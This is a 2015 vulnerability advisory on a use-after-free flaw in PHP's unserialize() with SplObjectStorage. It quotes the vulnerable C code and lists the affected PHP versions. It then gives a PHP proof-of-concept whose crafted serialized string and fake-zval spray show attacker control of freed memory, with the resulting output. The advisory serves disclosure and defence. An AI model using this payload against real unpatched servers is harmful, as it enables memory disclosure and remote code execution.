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Use After Free Vulnerability in unserialize() with SplObjectStorage

#Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <@chtg> - Write Date: 2015.7.30 - Release Date: 2015.8.7

A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pcount);
	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
		goto outexcept;
	}

	...

	/* members */
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}

	/* copy members */
	if (!intern->std.properties) {
		rebuild_object_properties(&intern->std);
	}
	zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
	zval_ptr_dtor(&pmembers);  <===  free memory

	/* done reading $serialized */
	if (pcount) {
		zval_ptr_dtor(&pcount);  <===  free memory
	}
	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
	return;

The zval_ptr_dtor() leads to &pcount and &pmembers are freed from memory. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:0;m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  [0]=>
  object(SplObjectStorage)#1 (1) {
    ["storage":"SplObjectStorage":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
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